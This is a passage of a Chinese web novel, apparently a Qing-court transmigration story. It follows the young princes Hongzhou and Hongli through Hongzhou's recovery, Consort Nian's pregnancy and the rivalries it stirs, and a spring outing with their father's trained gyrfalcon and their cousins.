“那让人快去熬药,”弘历认真道,“快去熬十碗来,从前我生病的时候额娘说了只要喝了十碗药就能好了,你现在一下子喝下去肯定就能好的。” 弘昼愕然,不知道应该怎么和自家四哥解释一下一下子将药喝下去是不能让病好全的,只会喝药过多中毒。 这稚嫩的言语让刚进来的四爷和十三爷都笑了出来。 “倘若直接将十碗药给你弟弟灌进去,那只怕是又要叫太医前来了。”十三爷大笑道,“这药只能慢慢喝,一日喝一碗两碗还是三碗都是由太医说了算的,可不能随便喝。” 四爷脸上也是忍俊不禁之色,笑着摇了摇头。 弘昼仰着头看着和阿玛一起进来的人,觉得看上去不大眼熟。但瞧着很是魁梧,一定力气很大吧。 “这是你们十三叔。” 弘历从床边爬了起来,行礼问安:“给十三叔请安。” “给十三叔请安。”弘昼也跟着道,他有点拿不准要不要下床去行礼。 “你不必动了,”十三爷似乎瞧出了弘昼的想法,“十三叔听说你受伤了,才过来瞧瞧的。” 十三爷很自在地过来,往弘昼还没有盖上的被子里瞧了一眼,当即就皱起了眉。 按理说他从小学骑射,又跟着上过战场,受的伤不算少。但看见一个孩子的身上这样青青紫紫的,还是觉得碍眼。 四爷也走了过来:“盖上吧,如今虽然已经春日了,但还是冷,仔细着凉了。” 弘昼哦了一声,乖乖把自己的被子盖上了。 今日过来瞧弘昼算是突发情况,过来了才发现了弘历也才。十三爷出门之前没有准备好给两个侄子的见面礼,便从自己腰间拽了一块玉佩,又从大拇指上褪下了一个扳指。两个小侄子一人递了一个,这些能上他身的东西价值皆不菲,作为见面礼也不算寒酸。 弘昼拿到的是扳指,这扳指通体呈白色,里头一点其余的杂色也没有,看得出来品相很好。 收到礼物很难不开心,弘昼和弘历齐声笑道:“谢谢十三叔。” 对着两个小侄子的感官不错的十三爷,上前一人摸了一下脑袋:“不必谢了,十三叔府上有个只比你们大一岁的堂哥,还有个比你们小两岁的弟弟,日后来十三叔府上玩,让你们认识认识。” 同龄人诶! 弘昼如今除却自己四哥外还没见过别的同龄人,听见这话赶忙点头应了。而且十三叔说的是去他府上,那是不是代表自己能出去玩了? 第33章 身孕 第33章 弘昼在四爷的房间休养了两三天,觉得自己终于没有那么难受之后坚持搬回了自己的房间。 虽说阿玛这房间里什么东西都是最好的,但伺候的这些人都不熟悉。弘昼觉得金窝银窝不如自己的小窝,虽然这个小窝自己也没住多长时间,但这个小窝里面的每一样东西都是自己的。 回到了自己的房间后,那位三哥还假惺惺过来道歉了。不过弘昼仗着自己现在年纪还小,硬是不愿意原谅,不管旁人是怎么劝说的,弘昼都假装听不懂。 现在年纪小还能任性一下,等长大之后说不定就得被迫懂事了。这年幼的buff不用只会过期,为何不在还能用的时候好好用用呢? 过来低三下四道歉的弘时牙都要碎了,本来被阿玛打了一顿就心里憋屈。被逼着过来道歉更憋屈了,谁知道弘昼竟然敢说不原谅?若非道歉的时候阿玛在一旁看着,弘时简直要甩袖子走人了。 四爷也无法,孩子再大些就能讲道理了。但这么点的孩子讲道理行不通,加之这件事本来弘昼就是受害者,四爷也不好苛责了。 等弘昼将身子彻底养好,被太医盖章认定已经好全,已经过去了大半个月了。 这大半个月中,弘昼一直躺在床上。连他下床片刻,郑嬷嬷都紧张无比,更别提放他出去户外运动了。 这可让弘昼憋坏了,从前还是婴儿时期,都会被额娘经常带着出去玩。好不容易长到能自己出去玩了,现在受伤了相当于在屋子里关了大半个月的禁闭。 弘昼被放出去的第一件事就是去后院瞧瞧额娘,受伤这件事他最开始是想要瞒着额娘的。但后面醒来才知道额娘已经知道了,既然瞒不过去了就只能在好了之后快点去给额娘瞧瞧。 回到泗水院,耿执羽早早就在等着了。 一见面,先是将弘昼拖到室内上上下下检查了一遍。特别是郑嬷嬷说的被踢伤的腹部,更是看了又看,直到确定弘昼身上的伤都已经好全了才作罢,搂着弘昼就开始嗒吧嗒吧地掉眼泪。 刚送去前院没几日,心里正是最记挂的时候,传回来消息受伤了。知道这个消息的一瞬间,耿执羽简直想要闯进前院去瞧瞧,更想要闯进三阿哥的院子中将这个祸害弟弟的孽种揍一顿。 可最后理智将她拉了回来,她不再是从前是小孩子了,不是知道弟弟妹妹被街边小孩欺负后可以揍回去的小姑娘了。在这雍亲王府中,倘若失了理智干了这样的事情,最后被连累的只会是自己的孩子。 “额娘,”感受到了额娘的情绪,弘昼将脸贴在了额娘的脸上安抚道:“我没事的,阿玛向着我呢,听四哥说阿玛狠狠打了三哥一顿板子。再说这点伤势早就好了,太医都说没什么大事呢。” 对着阿玛卖惨哭诉是为了让三哥被罚得更惨,但对着额娘就没有这个必要了。额娘又不能日日见到自己,即便知道了这些伤势也只能日日悬心。 “是额娘错了,”耿执羽用袖子将眼泪抹去,“日后你在你三哥面前不要忍让他,人不犯我,我不犯人,他若是主动前来挑事你可别让自己吃亏。” “那肯定不会。”弘昼挺了挺自己的小胸脯,骄傲道,“额娘就放心吧,有四哥和阿玛帮着我呢,对了,我这几日在床上吃了不少东西,伺候我更衣的嬷嬷都说我胖了呢。” 说着,弘昼从耿执羽的怀抱中挣脱了出来,在她面前转了一圈,表示自己这几天虽然是在养伤,但真的过得还不错。 看着儿子原本就有些肉的脸颊如今肉更多了点,耿执羽才算放心了,又拉着弘昼问了些在前院生活的细节。 在额娘这里待了一整日,直到太阳都已经落山了,弘昼才依依不舍地走了。 见了儿子一面,耿执羽才算略微放下心来。亲眼见到儿子气色不错,甚至养得胖了些,就能证明在前院没有受到慢待。看来虽说三阿哥对弘昼不友好,但四爷应当还是看重的。 养伤的时候每日里先生讲一个时辰的课程是被停了的,如今身体好了,弘昼也得早晨起床就去听课了。好在这个先生讲课和讲故事一样,在习字的时候穿插着几个小典故,学起来不仅一点不枯燥还十分有趣。 在后院的时候,弘昼和弘历就已经把《三字经》《百家姓》《笠翁对韵》这样的孩童启蒙书背熟了。 现在先生讲的是《幼学琼林》,每日里讲上一两节,随后就带着两位小阿哥一起读,读的时候就能将这上面的字认得七七八八的。 才三岁多的孩子,只要能在课堂中好好坐下,不吵不闹地待到散学的时辰就能算乖了。而这个孩子若是不仅课上不吵不闹,还能跟着好好念书,甚至学得还不错,那简直是所有启蒙先生的最喜欢的孩子。 而现在负责教弘昼和弘历的李先生,就发现自己带的这两个雍亲王府的小阿哥就属于这样的孩子。 最初四爷放话出去要给府中两个小阿哥找启蒙先生的时候,意动的人不少。毕竟柳先生在雍亲王府的待遇大家都是看见了的,虽说只是启蒙先生,但雍亲王府给的束脩依旧十分丰厚啊,而且对先生的学识没有太大的要求,只要讲课有趣人品好就行了。 李先生是从十多个人中杀出来当了雍亲王府这两位小阿哥的西席,最开始他在心中已经想过这样门第的阿哥,说不定是自幼宠溺着长大的。自己届时一定要做好分内之事,不该多嘴的一定不多嘴,不管他们怎么顽皮淘气都要忍着。 可在实际接触后,李先生才知道自己错得离谱。他在家中给自己的孩子启蒙的时候,都没这么乖的,而且自家的孩子还能上戒尺和教鞭,都不如这两位小阿哥听话和聪慧。 将今日的课程讲完后,李先生带着他们读了好几遍,确保他们没有不会念的字之后就在他们身旁打转,听着他们自己读书。 散学的时辰到了,李先生将自己的东西收拾好了离去,弘昼抬起自己的双手伸了一个懒腰。 这些日子一直待在床上,想睡就直接睡了,现在猛然一早起还有些不习惯。 现在他们的年纪小,还不用写大字,毕竟这么大点连毛笔都握不稳,自然也不能勉强他们能拿着笔横平竖直地写出字来了。是以也没有功课,只要先生一走,剩余的时间就是他们拿来玩的。 “弟弟,咱们去玩吧。”弘历将自己的书本扔给了一旁的奶娘,眼睛亮亮的。 弘昼受伤的这些日子,弘历散学后也没有出去玩,而是跑到了弘昼屋中陪着他。现在弟弟终于好了能出来玩了,弘历想要拉着弟弟去玩耍。 “咱们玩什么呢?” 弘昼靠在椅子上,手掌撑着脑袋思索着。他现在对于前院还不算特别熟,也不知道什么地方好玩,但若是叫他回房中玩玩具,那他也是不肯的。 听到这个问话,弘历凑近了些,小声说道:“咱们能不能去找十三叔玩?” 那日见面,风趣幽默的十三叔给小小的弘历留下了很不错的印象。现在一说起玩,就不免想到那日十三叔说的他家中有两个同龄的哥哥弟弟。 弘历低头算了算,十三叔的孩子也就是堂哥和堂弟,如果相处得来的话也算兄弟了,反正肯定是要比三哥这个哥哥好不少的。 “不行,”弘昼苦着脸摇了摇头,“咱们又不知道十三叔在哪里,难道要去找阿玛?阿玛也不知道在不在家呢。” “也是哦。”弘历也苦了脸,皱着眉想了好一会儿,“那不如咱们还是去踢蹴鞠吧,这回在咱们院子里踢,肯定遇不到三哥的。” 蹴鞠?弘昼在心里想了想后点了点头,运动运动也好,总不能因着这一次日后就再也不碰蹴鞠了。 已经商量了要玩什么,只等着午膳用过了就能去玩了。弘昼和弘历回了自己的院子,午膳已经被摆好了,各自被奶嬷嬷喂饱后就在庭院中摆开了架势开始蹴鞠。 蹴鞠这样的运动玩起来不一会儿脸就开始红了起来,汗珠也随着脸往下落,踢了一会儿弘昼就气喘吁吁地停了下来。 弘历脸上也变红了,汗水也流了不少。 奶嬷嬷们见这两位小主子停下来了,纷纷上前将脸上的汗水拭去。然后各自带着自家的小主子回了房间换衣裳,春日里寒凉,这出了汗过不久冷下来之后就是透心凉,若是不及时将衣裳换了就容易风寒。 换好了衣裳后弘昼便有些犯困了,小孩子的觉多,但凡多运动一会儿便开始犯困。这时候弘历也犯困了,兄弟俩索性躺在一起睡了会儿午觉。 等四爷办完差事从外面回来,想着今日小五已经好全了第一日去念书便去看看。看到的就是两个睡得横七竖八的孩子,奶嬷嬷们不大敢上前将他们摆好,只是用被子都把他们盖上了免得着凉。 疲倦了一日的四爷见到这个景象,嘴角不自觉扬起了一抹笑意,仿佛看到了自己和十三年幼时。虽说自己要比十三大好几岁,年幼时在宫中也不能这般没有规矩,但其中的感情是一样的 日后弘历和弘昼,说不定能成为自己和十三这样的好兄弟。 正在四爷欣慰的时候,有年侧福晋院中伺候的人求见,四爷有些疑惑,什么事竟然等不得自己回书房,竟然在两个小阿哥这里就要求见。 但年侧福晋平日并不是轻狂的人,四爷担心是不是出了什么事,便叫了进来。 “爷,年侧福晋今儿不适,请了太医前来诊出了三月的身孕。” 第34章 提月例 第34章 “什么?”四爷先是一愣,随即脸上露出狂喜之色。 自年氏进府后,四爷对这位甚合他心意的侧福晋是爱重极深。从前宠爱过的什么李氏武氏都被抛之脑后,唯有大日子会去福晋的院中坐坐,还有就是看望两个孩子,其余人的院子几乎不曾踏足了。 唯一令他有些想不明白的是,从前对李氏还不曾有这样的宠爱,但李氏便怀了好几胎。但现在这样对清凝,却一直不曾听闻肚子里有什么消息。他倒是无所谓,如今儿女双全,但清凝却总因为这件事愁上眉头,让四爷见了好不心疼。 现在终于听闻喜讯了,四爷几乎找回了当初听到福晋有身孕时的感受。不过那时期待的是嫡长子,如今却是期待着自己喜欢的人和自己的结晶。 得知了这个消息,四爷几乎是一刻也等不了,抬脚就往年侧福晋的西侧院而去。 来禀报这个消息的人自然知晓这是个好消息,是以也不曾压低音量,这一嗓子直接把弘历和弘昼都吵醒了。毕竟这两位小爷睡觉的时候,旁边伺候的人也是不敢随意喧哗的。 等弘昼揉了揉眼睛直起身来,看到的就是阿玛离去的背影。 年侧福晋有孕了?弘昼想了想自己曾经见过的年侧福晋,看上去是十六七岁的模样,放在现代最多是个高中生,但是在这个时代却已经嫁人甚至怀孕了。 每次见到年侧福晋的时候她脸色都蛮白的,瞧着身体不大好。怀孕太过于消耗女子的元气了,生产是一件极为危险的事情,这总让人有些担忧她的身体是否能承受得住。 四爷一路上健步如飞,他从未这么急切地想要见到一个人。 直到到了西侧院,看到了正在喝坐胎药的年侧福晋,那颗一直在怦怦跳动的心似乎才找到了落脚点。这个才华横溢的女子,终于怀了他们之间的孩子。 “爷?”年侧福晋听见脚步声,从药碗中抬起头来,脸上露出了惊喜之色,“怎么这么快就来了?” 四爷上前一步搂住了她要行礼的身子,柔声道:“得知这样的大喜事,我又岂能不快些来见你。” 年侧福晋的大丫鬟在桑看着眼前的一幕,唇边蔓延起了笑:“侧福晋知道这桩喜事后,也是想要快些说于爷来听呢,若非爷在外办差,怕是知道的第一时间便想告诉爷了……” 这话还未说完,就被年侧福晋瞪了一眼,轻斥了一声:“多嘴。” “哪里多嘴了,”四爷带着年侧福晋坐到了椅子上,“我看这个丫头倒是说得好,这些事日后都要告诉我才好。” “爷,”年侧福晋无奈,“您这样,叫妾身日后如何管教她们?这一个个的都被惯得会贫嘴了。” 面上无奈,但年侧福晋心中却宛如吃了蜜糖一般。这在桑的话也算说中了她的心思,但她毕竟年纪不算大,还有些羞怯的小心思不好在爷面前表露出来。 “好了好了,”四爷微微挥手,侍立一旁的人都纷纷往外退,“身子可有什么不适的地方?” 府中诞生过的孩子不算少,四爷也大体明白了在孕期每个女子表现的不同。当初福晋怀弘晖的时候,不仅没什么感觉,主持府中中馈一点也不曾出过差错。而李侧福晋有孕的时候,有怀恪的时候也没什么感觉,但生弘昐弘时的时候却受了大罪。 年侧福晋平日里瞧着身子弱些,四爷有些担心佳人受不住怀孕的劳苦。 “没有呢,”年侧福晋幸福地笑着,“这两个月来竟毫无感觉,若非这两日有些着凉请了大夫前来看,还不知道腹中竟然已经有一个小宝贝了。” 年侧福晋身子从小就弱,葵水不准已经是惯例了。这两个月没来从前也是有过的,是以她最开始没当一回事,大夫诊出来的时候还有些不可置信。毕竟她身子弱*,怀不上也是有的。 “看来这还是个乖巧的,”四爷拉住了年侧福晋的手,“也不知道是小阿哥还是小格格,但这般乖巧说不定是个小格格,想来是个和她二姐一样的乖姑娘。” 府上的二格格也就是怀恪郡主,年侧福晋自然是知道的。虽然自她进府以来,怀恪郡主的额娘李侧福晋就已经失了宠,但是这位郡主却依旧是四爷的掌中宝。从年节的礼,还有平日里提及时的宠爱便可见一斑。 “若真是个小格格,”年侧福晋想了想,“能像她二姐自然是最好的,不过妾身还是想她能像爷多些才好。” “像我?”四爷被逗乐了,“像你才好,我的性子太刚直了些,若是个小阿哥像我才好,若是个格格最好还是像你。若能长相才情皆随你,那日后咱们女儿便再不须操心了。” 年侧福晋轻轻地抚摸着自己的肚子,心中极为愉悦。这一胎是女儿也好,是儿子也罢,都是她的孩子。虽说额娘和阿玛希望她早日生个儿子出来,但她又不是送子娘娘又怎么能对自己腹中的孩子打包票呢? 现在试探了一下四爷,她心中更欢喜了。日后生出女儿来,想来四爷也不会对此有什么意见。 年侧福晋有孕的事情很快就传遍了府中,东侧院那边摔了好几套的茶盏,李侧福晋气得脸都红了。 这年氏瞧着就是个体弱的坯子,这样的身子竟然还能怀孕?以爷如今对她的宠爱,若是生下来个阿哥,岂不是又给弘时找了个大对手。 想到这,李侧福晋挥挥手叫来了梅枝:“快,快些扶我去小佛堂。” 她要在菩萨面前许愿,要这年氏最好生不下来,即便生下来最好生个格格。若是不小心生了个小阿哥,那最好是活不下来。 对于这件事,福晋倒是无所谓的。府中这些小阿哥都不是她的孩子,年侧福晋生下来不管是个阿哥还是格格都对她没有什么影响。 甚至于她心中是有点高兴的,从前弘历和弘昼出生之前,李氏一直暗地里盘算着让弘时当世子。如今弘历和弘昼出生后,她收敛了点,可行事作风却越发焦急了。现在等年氏的孩子出生后,想来李氏会更加着急。 虽说不管谁得了这个世子之位对她都没什么好处,但相对而言,她更不想李氏得到这个位置。 而对于耿执羽而言,这件事和她没有一点关系。年侧福晋有了身孕自然是府上的喜事,但这些也不能改变她日常的生活,与她在泗水院中吃吃喝喝无甚关系。 但钮祜禄格格就有些在意这件事了,若是年侧福晋成功将孩子生出来,若是个格格倒也罢了,若是个阿哥的话,且看现在四爷对年侧福晋的宠爱便知道日后对这个小阿哥必然是会爱屋及乌的。 弘时愚鲁,李侧福晋也愚蠢,她才起了让弘历也争一争这世子之位的想法。可若换成了年侧福晋,孩子的资质尚且不提,但年侧福晋却绝对不是蠢人。 况且李侧福晋的家世比之自己还要差些,但年侧福晋可就要高出不少了。她的那位兄长,现在的年纪便已经是四川巡抚这样的职位,日后只要不出意外必然会更进一步的。 但现在年侧福晋不过刚刚有身孕罢了,钮祜禄格格在心中想到,且等她将孩子生出来再谈其他。 在年侧福晋那里过了一夜之后,四爷便往正院走了一遭。 “妾身给爷请安。” 过来的时候福晋尚且还在梳妆,听见外面的通传顾不得自己的还没梳妆好,连忙起身行礼。 “免礼。” 四爷虚扶了一下,开门见山:“今儿过来是为着年侧福晋有孕一事。” 福晋脸上挂起了端庄和煦的笑:“这样的喜事妾身也是昨日傍晚才听闻的,想着那时候若是叫人去送赏赐难免扰了年妹妹的休息,便想着今晨再赏东西过去。” “福晋行事我自然是放心的,”四爷道,“只年侧福晋既怀孕了,便是双身子的人了,日后供给月例一应翻倍。” “这也是应该的。”福晋面带笑意应下。 见福晋回话间毫无怨言,提起年侧福晋的时候语气里满是关心,四爷心中满意了些。从前福晋年轻时与李氏不睦,如今倒是不曾听闻福晋与清凝有何嫌隙,想来还是从前李氏太过骄纵导致的。 吩咐完这件事后,四爷便忙着出门去衙门了,他今日倒不用去上朝,但衙门中还有不少的事情等着他。 目送着四爷离去后,福晋脸上端庄的笑意没了,神色淡淡的。 庶母有孕这件事暂时还影响不到弘昼,他依旧是每日里上一个时辰的课,其余的时间便可以自由活动了。 被打了板子的弘时也终于养好了身子,见到弘昼的时候态度也好了不少。但弘昼不大愿意理他,毕竟自己现在是小孩子,不原谅曾经将自己弄伤了的人也是能让人讲解的不是吗? 弘时最初端着笑脸和弘昼说话,被顶了几次后笑脸也端不下去了。除却四爷在的场合,其余时间他开始将弘昼视为无物。 而弘历因为经常和弘昼在一起玩,被弘时判定为了弘昼一党,也受到了波及。具体行为就是,弘时在给弘昼白眼的时候也会顺便给弘历,无视弘昼的同时也不会搭理弘历就是了。 弘时的态度并未影响到弘昼和弘历,他们和这位三哥能见到的时间其实也不多。毕竟弘时已经开始全天念书了,大部分时间要和柳先生待在课堂中。 第35章 额日乐 第35章 春日的阳光算不上毒辣,照在人身体上只会觉得暖洋洋的。甚至因为冬日刚过,让人不禁对这一抹温暖的阳光多出了些留恋与喜爱,甚至希望这太阳在身上停着的时间再长些久些。 但对于弘昼而言,温暖的太阳已经不足以吸引他,至少不足以吸引现在的他。盖因昨日的时候阿玛来自己的院子抛下了一个重磅炸弹,今日要带着他们三兄弟一起出城去踏青。 虽说和三哥出去玩似乎也不是什么值得高兴的事情,但只要一想到能出府,甚至是出城游玩,弘昼的兴奋劲儿就有些抑制不住了。 原谅一个三年时光都待在一个地方的人吧,在现代的时候想要出去玩是一件很简单的事情。不论是去商圈逛街,还是想要去见见自然风光都没有那么难,只需要带上手机便能来一场短途旅行。 但是自从来到了这里,因为年龄的缘故,弘昼连雍亲王府都没有怎么出过。之所以不说完全没有出过,全靠他还在除夕去过一次紫禁城,虽说路上全程都在马车中,但到底也算是出府了。 脑海中浮现起踏青应该见到的山山水水,春日里冒出新芽的花草枝条,还有小鸟叽叽喳喳的叫声。这些本来不足为奇的美景,在现在却突然成为许久不曾见过的好景致。 相对于弘昼的惊喜和期待,弘历和弘时表现的就要平淡许多了。 弘时可以自由出入雍亲王府,京城中的大街小巷他去过不少,城外的景致在和朋友跑马时也看到了许多。是以这样一次简单的踏青活动就不足以引起他的情绪,若非要说这次出游有什么不一样的,那就是他甚少跟着阿玛出来进行一次简单的玩乐活动。 而弘历就完全不知道五弟是为什么兴奋了,他还不知道外面的景致长什么样子。不曾见过外面的山山水水,也不曾听过幽谷中潺潺的溪水声音,更不曾见过山间树林里那些活力十足的小动物。 “就这么高兴?”四爷见到弘昼一直眼神亮晶晶地盯着自己,不免觉得好笑,上前薅了一把弘昼的小脑袋。 弘昼一点也不掩饰,重重地点了点头。这很难不高兴啊,总算出门放风了。 府中的下人早就准备好了马车,虽说四爷的马车坐下他们父子四人是绰绰有余的,但他是个很讲规矩的人。最后定下的是四爷自己坐一辆,弘昼三兄弟另坐一辆车。 毕竟到底是亲兄弟,又不可能因为幼时的一点小事就一辈子不来往。往后一起做的事情只会多不会少,怎可因噎废食。 马车是上好的黄花木制成的,上面的雕刻精致,摆放的软垫也是由精致的蜀锦绣成。但不管再好的马车,要和不喜欢的人一起坐就都成了折磨。 但弘昼被出行的快乐掩盖了这一点的不愉悦,他兴奋地掀开了窗帘,打量着外面的场景。 虽说是出去玩,但弘昼和弘历上午的课还是上了的。现在正是未时,街上人头攒动,但老远地看见有马车驶过时路上的行人便会急急忙忙让路。 虽说这两年收成还算不错,但这个不错也仅止于能让普通百姓的家中吃得上饭不至于挨饿,是决计养不起马,更用不起马车的。而能用得起马车的人家,在这些普通百姓眼中就算极为富贵的家族了。 更别提这几辆马车的马儿看上去膘肥体壮,马车前后围着十几骑的护卫。这一看就不是普通人家,自然要早早避开了以免冲撞,万一惹到了贵人那真是惹到大祸患了。 看着外面那些古朴的建筑,耳边传来了卖货郎的叫卖声,弘昼有了一瞬间的恍惚,这么热闹的景象他许久不曾看见过了。雍亲王府的下人们一向是极为规矩的,就算是过年过节的时候也都是安分的,守着规矩的。 热闹的场景在雍亲王府几乎见不到,而现在猛然见到街道上来来往往的行人,还有那些听在耳边显得很是亲切的叫卖声。令弘昼对自己身处的这个世界有了更多真实的感觉,看着外面那些不大看得清的路人,这种真实的感觉慢慢转化为了一种对这个世界的期待感。 这是个无比真实的世界,或许可以期待一下日后能出府的日子,应该会比现在有趣得多。 从闹市驶过,不久就到了城门,弘昼对外面的景象也不再那么稀奇了,便放下了窗帘。 “哼,”弘时轻轻哼了一声,低声道,“没见识。” 这声音虽低,但这马车统共就这么一点点的距离,听清楚是再正常不过的事情了。而结合一下刚才弘昼掀窗帘的举动,这句话是在说谁更是不言而喻了。 弘昼翻了个白眼,不想理会这个有点幼稚的三哥。这个嘴仗甚至让他升不起和他反驳的欲望,只会在心里无语。 不多时,踏青的地方就到了。 弘昼从马车上下来,望向了前方。这里的景致很不错,前方有一片的桃花林,现在正是桃花盛放的日子,远远看过去每棵树上都带着粉色的小花朵,瞧着就让人的心情愉悦不少。 再往前去有一座小山,不远处还有条并不算多宽大但足够清澈的溪流。和从前弘昼去过的那些已经开发得不错的景点不同,这里的景致带上了些自然的意味,没有人为的干预,有一种自然生长的美感。 “哇。”弘历发出了一声惊叹,摇了摇弘昼的手臂,“弟弟你看那里,那里好漂亮。” 顺着弘历的手望了过去,弘昼也发出了那声惊叹。那里并不是什么漂亮的景致,但那里有一只极为神俊的鸟儿。 那鸟儿整体呈白色,喙是角蓝色的模样,翅膀的尾羽上带着点黑。此时正抓在一根木杆上被人抬着走,似是不耐烦了,突然展开了双翼往天空飞去,不多时就盘旋在了天空中。 展开双翼后这鸟儿就显得更加威风了,那尖利的喙丝毫不让人怀疑它的凶狠程度。 “你们喜欢额日乐?”四爷的声音从后面传来,弘昼扭头望去就见四爷身边还站着十三爷,见他们望过来对着他们温和地笑了笑。 “阿玛,十三叔。”弘昼先是行礼,后才惊喜地问道,“那只鸟儿叫额日乐吗?” 十三爷身后跟着两个男孩,一个看着十岁上下,另一个则五六岁的模样。正好奇地打量着弘昼和弘历俩兄弟,弘时他们自然是见过的,只是没有见过这两位年纪有些小的弘昼和弘历。 “这是你们弘昌堂哥,这个是你们弘暾堂哥。”四爷对着十三爷伸手的两个小男孩招了招手,将他们叫到了跟前,对着弘昼和弘历说道。 弘昼乖乖叫了堂哥,但他现在的注意力还在天空中的那只鸟儿身上,叫完后便立刻又问道:“阿玛,那只鸟儿是叫额日乐吗,那是你的吗?” 四爷轻轻点了点头:“不错,这是几年前我随着汗阿玛去巡幸塞外的时候偶遇的一只海东青,当初为了熬它足足花了十好几日。” 这样的猛禽被捕捉来时是断然不肯直接就开始听话的,一般要进行熬鹰。熬掉它的意志和骄傲之后,才能将这样凶悍的鸟儿驯化。但四爷当然是不必自己熬鹰的,他有一大把可以选的属下来代劳。 他只需要下了这个吩咐后等着,几日后便有人将驯化好的海东青送到他的手上。 四爷从前也有过猛禽,但唯有这只额日乐这么多年了虽说驯化了,但仍有一股傲气在。不论什么时候放出来,总会带回一些小猎物回来,这令他最为喜欢。 “阿玛,能不能让额日乐下来让我看看?”弘昼亮着眼睛问道。 四爷望了望天上已经开始低空盘旋的额日乐:“等一会额日乐就自己飞回来了。” 弘昌不耐地看了看上空中盘旋的鸟儿,心里对阿玛带着他出来和小孩子玩这样的事情不满极了。转眼就看到了神情更不耐的弘时,心里哼笑了一声,看来不想过来的不止自己一人。 对于这位弘时堂兄,弘昌一直认为对方是走了狗屎运的。从前的雍亲王府有聪慧的弘晖和弘昀,结果这两位都殇了生生让这么个蠢货成了长子,凭借这些年和弘时的交际来看,弘昌一直觉得他能投胎到雍亲王府实在是有些运气好。 看了看前面的四爷和十三爷,弘昌的想法开始放空。上回见到的弘晳堂兄倒是个心胸不错的,又在皇玛法面前很得脸,倒是可以多多结交。 不多时,额日乐从弘昼的视线中消失了,但是很快地又重回了视线中。不仅重新回到了低空,还朝着弘昼这里飞来,嘴边正叼着什么东西。 等近前来,弘昼就看清楚了额日乐嘴中叼着的东西。那是一只还有呼吸的野兔,浑身的毛灰灰的,唯有鼻子嘴巴是粉红的,此时正喘着气。 额日乐很快就飞到了四爷面前,将嘴中的野兔松了下来,随后昂首挺胸地站在了四爷的肩膀上。时不时给自己梳理一下羽毛,又看了看地下的野兔,仿佛在炫耀自己的战绩一般。 野兔被放下来的时候就被一旁的下人拿住了,弘昼和弘历还有弘暾几乎同时发出了没见识过的哇声。 看着三个小孩子的反应这么大,四爷和十三爷的眼中都露出了一丝忍俊不禁。 “阿玛,能让我摸摸吗?”弘昼亮着眼睛问道,“我轻轻地,不会弄疼了额日乐的。” 四爷将额日乐从肩膀上放到了手臂上,随后略低下了身子示意弘昼可以摸一摸。 看着这个神俊骄傲的鸟儿,弘昼咽了咽口水才将手伸出去。 第36章 夸奖 第36章 额日乐的脑袋仰得高高的,不时用喙梳理着自己的羽毛。被弘昼轻轻碰了一下脑袋后,似乎不满地鸣叫了一声,随即便不搭理弘昼了。 这样神俊的鸟儿从前是只能在动物园隔着玻璃窗看上一眼的,弘昼收回手后心满意足地围着四爷打转。 “阿玛,额日乐平日里吃什么?平时它也会自己出去捕捉猎物吗?” 从未在小儿子这里感受过这样热情待遇的四爷甚至有点受宠若惊,平素这小子对自己可没有这般殷勤。 将弘昼的问题一一答了之后,四爷便约着和十三爷去前面的小山上试一试身手了。这次说是带着孩子出来踏青,实际上他们有些技痒想出来打猎一番,若是能猎到不错的猎物,带回府中去加餐也是不错的。 弘时和弘昌的年纪已经可以去参与这样的打猎活动了,而弘昼和弘历还有弘暾年纪还有些小不宜带进林子里。毕竟进去打猎都是要骑马的,这三个站着还不如马腿高呢,若是真让他们骑害怕掉下来。 于是大的两个就跟着去打猎了,小的三个被留在这里看风景,吩咐了下人们跟在身边伺候。 眼看着额日乐被阿玛带进了林子里,弘昼的眼神依旧不舍得从那里移开。也不知道平时额日乐养在哪里的,后面回府了有没有机会悄悄去看一看。 “别看了。”弘历拉了拉弘昼的衣袖,好奇地看向弘暾,“方才阿玛和十三叔说你是我们的堂哥,那你今年几岁了?” 弘暾挺了挺自己小胸脯,骄傲道:“我马上就五岁了,额娘说我再过上两三年就能学骑射了,到时候就能跟着阿玛他们一起去打猎了。阿玛今日出来的时候与我说了,你们两个是弟弟,要好好照顾。” 嘴上说着要照顾人,弘暾就当真带着弘昼和弘历一起去前方不远处的桃花林逛了逛,一路上很有兄长风范地带着两个弟弟。时不时问问他们累不累,要不要停下来歇息歇息。 在家中的时候奶嬷嬷就是这样照顾我的,弘暾在心中想道,我这样照顾这两个弟弟应当也是对的吧。 虽说出来的时候很兴奋,但逛了不多时弘昼就累了,有些走不动了。 刚停下步伐,身边带着伺候的人就很是麻利地掏出了随身用包袱携带的绢布。铺了一层在地上,随后又不知道从哪里掏出来了三个坐垫,甚至摆上了一个小小的案几,这案几上立刻摆了一盘水果,和一盘糕点。 弘昼坐在坐垫上,看着他们不知道从哪里弄来了小炉子还有茶壶竟然就开始煮茶了。在心中暗暗感叹了一声,这就是专业吗,刚刚都没看见他们手里拿着这些东西。 给三位小阿哥自然不敢煮什么浓茶,煮的是甜甜的蜜水。正好今日带出来的这点心是咸口的,这样三位小阿哥若是有心想要垫垫肚子也不怕腻了。 这种点心平日里在府上弘昼是随便吃的,也就不会馋。可在这样景色秀美的地方,又刚刚绕着这里闲逛耗费了不少的体力,原本不起眼的点心也一瞬间就变得美味起来了。 用水壶中的水洗过手后,弘昼拿起案几上的一块小点心就塞进了嘴里。这点心是咸香的味道,里头还有点馅似乎是肉做的,但弘昼吃不出是什么肉,只觉得一入口便是一股油香吃得满足极了。 弘暾原本是不饿的,但是见到这位弘昼小堂弟吃得这样香,不禁也拿起了一块点心塞进了自己的嘴中。跟着兄弟一起吃,这点心似乎凭空变得好吃了不少。 吃了两块点心后,弘昼端起蜜水往自己嘴中灌去。只觉得满足极了,今天这场郊游看了美景,也吃了美食。虽说这美食是在府中随处可见的,但在这样的地方吃下去称得上是别有一番风味了。 “你们平日里在府中是一起玩吗?”弘暾看着弘昼和弘历,他们俩坐得很近,两个垫子几乎要靠在一起了,这让弘暾有点羡慕。 虽说府上他有一个哥哥一个弟弟,还有两个姐姐。但哥哥嫌他年纪太小了不爱与他玩,弟弟现在还不会说话呢,他有些嫌弃这样完全不懂事的小孩子,也不愿陪着玩。而两个姐姐养在后院中,见的时间不多,就更别提陪着他玩的。 是以现在见到弘昼和弘历亲密的动作,想到若是有个和自己一样大的兄弟陪着自己玩那将会是多么好过的日子。 弘历点了点头,语气中带了一点不易察觉的炫耀:“是啊,额娘说我和弟弟只差三个月。我们经常在一起玩,现在搬到前院念书也是一起的。不论是念书习字,还是玩耍都一直是一起的。” “真好,”弘暾叹了口气,“也不知道弘晈什么时候能学会说话,他现在就只会叫额娘还有嬷嬷,可笨了。” 